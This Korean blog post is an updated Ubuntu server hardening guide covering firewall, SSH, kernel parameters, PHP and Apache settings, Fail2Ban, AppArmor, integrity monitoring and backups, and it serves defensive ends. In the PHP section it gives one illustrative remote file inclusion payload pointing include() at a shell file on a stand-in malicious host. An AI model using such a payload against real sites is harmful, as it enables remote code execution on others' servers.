보관함

Ubuntu 서버 보안 하드닝 가이드 (방화벽·SSH·Fail2Ban·AppArmor 등 18단계)

Ubuntu 서버의 기본 보안을 단계별로 잡는 가이드다. 원문(The Fan Club, 2012)은 Ubuntu 12.04 기준이라, 지금 LTS(22.04/24.04)에서 달라진 부분을 반영해 정리했다. 모든 명령은 sudo 권한으로, 바꾸기 전에 설정 파일을 백업하고, 특히 SSH·방화벽은 접속이 끊길 수 있으니 콘솔 접근 수단을 확보한 뒤 진행한다.

1. 방화벽 – UFW

UFW(Uncomplicated Firewall)로 시작한다. 방화벽을 켜기 전에 SSH 부터 허용해야 접속이 끊기지 않는다.

2. 공유 메모리 보호 – /etc/fstab

실행 중인 서비스를 노리는 공격에 공유 메모리가 쓰일 수 있다. 다만 일부 앱(크롬, 일부 DB)이 /dev/shm 실행을 필요로 해서 부팅이 꼬일 수 있으니, 재부팅 후 서비스가 정상인지 꼭 확인한다.

3. SSH 강화 – 키 로그인, root 차단

가장 확실한 건 공개키/개인키 로그인이다. 비밀번호 로그인을 쓴다면 최소한 root 로그인을 막는다. 지금 Ubuntu 는 /etc/ssh/sshd_config.d/ 에 조각 파일을 두는 방식을 권장한다.

※ 참고 SSH 포트 변경은 선택. 자동 스캔 로그를 줄이는 효과는 있지만 실제 보안은 거의 높이지 않고, 1024 미만 특권 포트가 아닌 곳으로 옮기면 오히려 위험할 수 있다는 반론도 많다. 포트를 바꾼다면 방화벽에서 새 포트를 열고 22 를 닫는 것을 잊지 말 것. 키 로그인 + fail2ban 이 포트 변경보다 효과가 크다.

4. su / sudo 접근 제한

관리자 그룹에게만 권한을 준다. 지금 Ubuntu 는 관리자 그룹이 sudo 다(옛 가이드의 admin 그룹이 아님). 평소 작업은 su 보다 sudo 를 쓴다.

5. 네트워크 커널 파라미터 – sysctl

/etc/sysctl.d/99-hardening.conf 에 넣고 sudo sysctl --system 으로 적용한다. (옛 가이드는 /etc/sysctl.conf 에 직접 넣지만, 지금은 /etc/sysctl.d/ 조각 파일이 깔끔하다.)

※ 참고 net.ipv4.icmp_echo_ignore_all = 1(ping 전부 차단)은 모니터링·헬스체크를 막을 수 있어 뺐다. 필요하면 추가한다.

6. BIND DNS – 재귀 질의 차단, 버전 숨김

권한 있는(authoritative) DNS 서버만 운영한다면 재귀 질의를 끈다. (DNS 서버를 안 돌리면 이 단계는 건너뛴다.)

7. host.conf

옛 가이드의 nospoof on 은 glibc 에서 더 이상 의미가 없다(무시됨). IP 스푸핑 방어는 5번의 rp_filter 로 충분하다. 이 단계는 지금은 건너뛰어도 된다.

8. PHP 보안 설정

PHP 버전에 맞는 php.ini 를 연다(예: /etc/php/8.3/apache2/php.ini, FPM 이면 /etc/php/8.3/fpm/php.ini). 바꾼 뒤 웹서버(또는 php-fpm)를 재시작한다.

옛날 가이드에 자주 나오지만 지금은 넣으면 안 되는 것 — safe_mode, register_globals, magic_quotes_gpc, mysql.trace_mode 는 모두 PHP 5.4~7 에서 제거되었다. 지금 php.ini 에 넣어도 효과가 없고, 특히 magic_quotes 는 SQL Injection 을 제대로 막지도 못했다. SQL Injection 방어는 php.ini 설정이 아니라 준비된 구문(prepared statement, 파라미터 바인딩) 으로 한다.

정보 노출 차단 — 에러 메시지에 파일 경로, 쿼리, DB 구조가 드러나면 공격의 단서가 된다. 운영 서버는 화면에 안 띄우고 로그로만 남긴다.

원격 파일 포함(RFI) 차단 — include($_GET['x']) 같은 코드에 ?x=http://악성/shell.txt 를 넣어 외부 코드를 실행시키는 공격을 막는다. allow_url_include 가 핵심이다.

위험 함수·파일 접근 제한

세션 쿠키 보안 — 세션 탈취·고정 공격을 줄인다. (예전 자료에는 없지만 지금은 기본으로 챙긴다.)

WordPress·일부 CMS 주의 — disable_functions 나 open_basedir 를 너무 빡빡하게 걸면 플러그인·업데이트가 깨질 수 있다. 바꾼 뒤 사이트가 정상인지 확인한다.

9. Apache 정보 노출 줄이기

지금 Ubuntu 는 /etc/apache2/conf-available/security.conf 에 있다. Header 지시어를 쓰려면 headers 모듈을 켜야 한다(안 켜면 재시작이 실패한다 — 원문 댓글에서도 지적된 부분).

ServerTokens 값에 따라 응답 헤더의 Server: 에 드러나는 정보가 다르다. 운영 서버는 가장 적게 알려주는 Prod(=ProductOnly)를 쓴다.

값 Server 헤더 예
Prod (ProductOnly) Apache
Major Apache/2
Minor Apache/2.4
Minimal Apache/2.4.58
OS Apache/2.4.58 (Ubuntu)
Full (기본값) Apache/2.4.58 (Ubuntu) OpenSSL/3.0 PHP/8.3

PHP 도 응답 헤더(X-Powered-By)와 에러 화면에 버전을 노출하므로 php.ini 에서 끈다.

다만 anyons.net 처럼 Cloudflare 뒤에 있으면 앞단에서 이미 Server: cloudflare 로 가려지고 원 서버 헤더가 밖으로 안 나가기도 한다. 그래도 원 서버 직접 접근에 대비해 서버 자체 설정도 함께 해 두는 게 안전하다.

10~11. 웹 애플리케이션 방화벽 – ModSecurity / ModEvasive

ModSecurity(OWASP CRS 규칙셋)로 웹 공격을, ModEvasive 로 간단한 DoS 를 막는다. 다만 ModSecurity 하나로 DoS 완화까지 되는 경우가 많아 ModEvasive 는 선택이다.

※ 참고 ModSecurity 기본 규칙은 WordPress·Drupal 같은 CMS 를 막는 경우가 있다(403 Forbidden). 사이트가 막히면 해당 규칙을 예외 처리한다. 이것도 오늘 다룬 anyons.net 의 Wordfence 와 역할이 겹치니, 둘 다 쓸지 하나만 쓸지는 정해서 간다.

12. 로그 감시·차단 – Fail2Ban

옛 가이드의 DenyHosts 는 거의 관리가 끊겼으니 Fail2Ban 만 쓴다. Fail2Ban 은 로그를 보고 비밀번호 실패·익스플로잇 시도가 많은 IP 를 방화벽에서 일정 시간 차단한다.

/etc/fail2ban/jail.local 에서 설정한다. 지금 Ubuntu 는 SSH 로그 감시 jail 이름이 [sshd] 이고, 로그 소스로 systemd 를 쓴다.

13. 침입 탐지 – PSAD

PSAD 는 iptables 로그를 분석해 포트 스캔과 수상한 트래픽을 탐지한다. (UFW 를 쓰면 로깅을 켜 둬야 PSAD 가 볼 게 생긴다: sudo ufw logging on)

14. 루트킷 점검 – RKHunter / chkrootkit

둘 다 루트킷을 찾는 도구다. 같이 써도 무방.

15. 열린 포트 점검 – Nmap

16. 로그 분석 – Logwatch

17. 강제 접근 제어 – AppArmor

AppArmor 는 SELinux 가 아니라 그 대안이다(원문 댓글에서도 지적됨). Ubuntu 는 AppArmor 가 기본으로 켜져 있다. 프로필을 추가로 설치하고 상태를 확인한다.

18. 시스템 보안 감사 – Lynis (또는 Tiger)

옛 가이드의 Tiger 도 있지만, 지금은 Lynis 가 더 활발히 관리되고 리포트도 낫다.

19. 백업 – 별도 볼륨에 자동 백업

어떤 보안 도구보다 백업이 먼저다. 데이터는 OS 디스크와 다른 볼륨에 두고, 정기 백업은 원격이나 별도 저장소에 보낸다. 예전처럼 tar 로 통째 떠도 되지만, 지금은 증분·중복제거·암호화가 되는 restic 이나 borg 가 낫다.

cron 이나 systemd timer 로 매일 새벽에 돌린다. 복원 테스트를 가끔 해 둬야 진짜 백업이다. (DB 는 파일 복사 대신 mysqldump/pg_dump 로 뜬 뒤 백업한다.)

20. SetUID / SetGID 파일 점검

SetUID 가 붙은 실행 파일은 실행하면 소유자(보통 root) 권한으로 돈다. 공격자가 백도어로 심어 두기 쉬운 자리라, 표준 목록에 없는 게 있는지 가끔 확인한다. (명령 자체는 예전부터 지금까지 같다.)

나오는 건 대부분 su, sudo, mount, passwd, ping 같은 표준 바이너리다. 처음 깨끗한 상태의 목록을 저장해 두고, 나중 결과와 diff 로 비교하면 새로 생긴 것을 바로 찾는다.

21. 파일 무결성 감시 – AIDE

루트킷 검사(14번)와 별개로, 시스템 파일이 몰래 바뀌었는지 보는 도구다. 예전의 Tripwire 역할을 지금은 AIDE 가 한다. 깨끗한 상태의 지문(DB)을 만들어 두고, 이후 바뀐 파일을 보고한다.

초기 DB 는 서버가 깨끗할 때 만들어야 의미가 있고, DB 자체는 외부(읽기전용 매체 등)에 보관하는 게 안전하다.

22. 로그인 경고 배너

접속 화면에 OS 버전이 그대로 노출되지 않게 하고, 허가받지 않은 접속에 대한 경고문을 띄운다(법적 근거에도 도움).

SSH 가 이 배너를 쓰게 한다.

23. 웹 디렉터리 목록 노출 차단

index 파일이 없는 폴더에 접근하면 파일 목록이 그대로 보이는(디렉터리 인덱싱) 설정을 끈다. 소스·백업 파일이 노출되는 경로가 된다.

Apache: Options 에서 Indexes 와 FollowSymLinks 를 뺀다. 심볼릭 링크를 따라가는 설정은 엉뚱한 파일(/etc/passwd 등)이 웹으로 노출되는 통로가 될 수 있다.

nginx: 기본적으로 디렉터리 인덱싱이 꺼져 있다(autoindex off). 켜 둔 곳이 없는지만 확인하면 된다.

마무리

  • 한 번에 다 적용하지 말고 단계마다 재부팅·접속 테스트를 한다. 특히 2(공유 메모리), 3(SSH), 1(방화벽)은 잘못되면 접속이 막힌다.
  • 설정 파일은 바꾸기 전에 cp 로 백업한다.
  • 보안 업데이트(sudo apt update && sudo apt upgrade)와 백업이 이 모든 도구보다 기본이다.

참고한 자료: The Fan Club – How to secure an Ubuntu 12.04 LTS server (Part 1)

관련 글: Ubuntu 에 새 disk 추가, azure ubuntu 설치 ver 2022, iptables 목록들

Leave a Reply

You can use these HTML tags

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

  

  

  

이 사이트는 Akismet을 사용하여 스팸을 줄입니다. 댓글 데이터가 어떻게 처리되는지 알아보세요.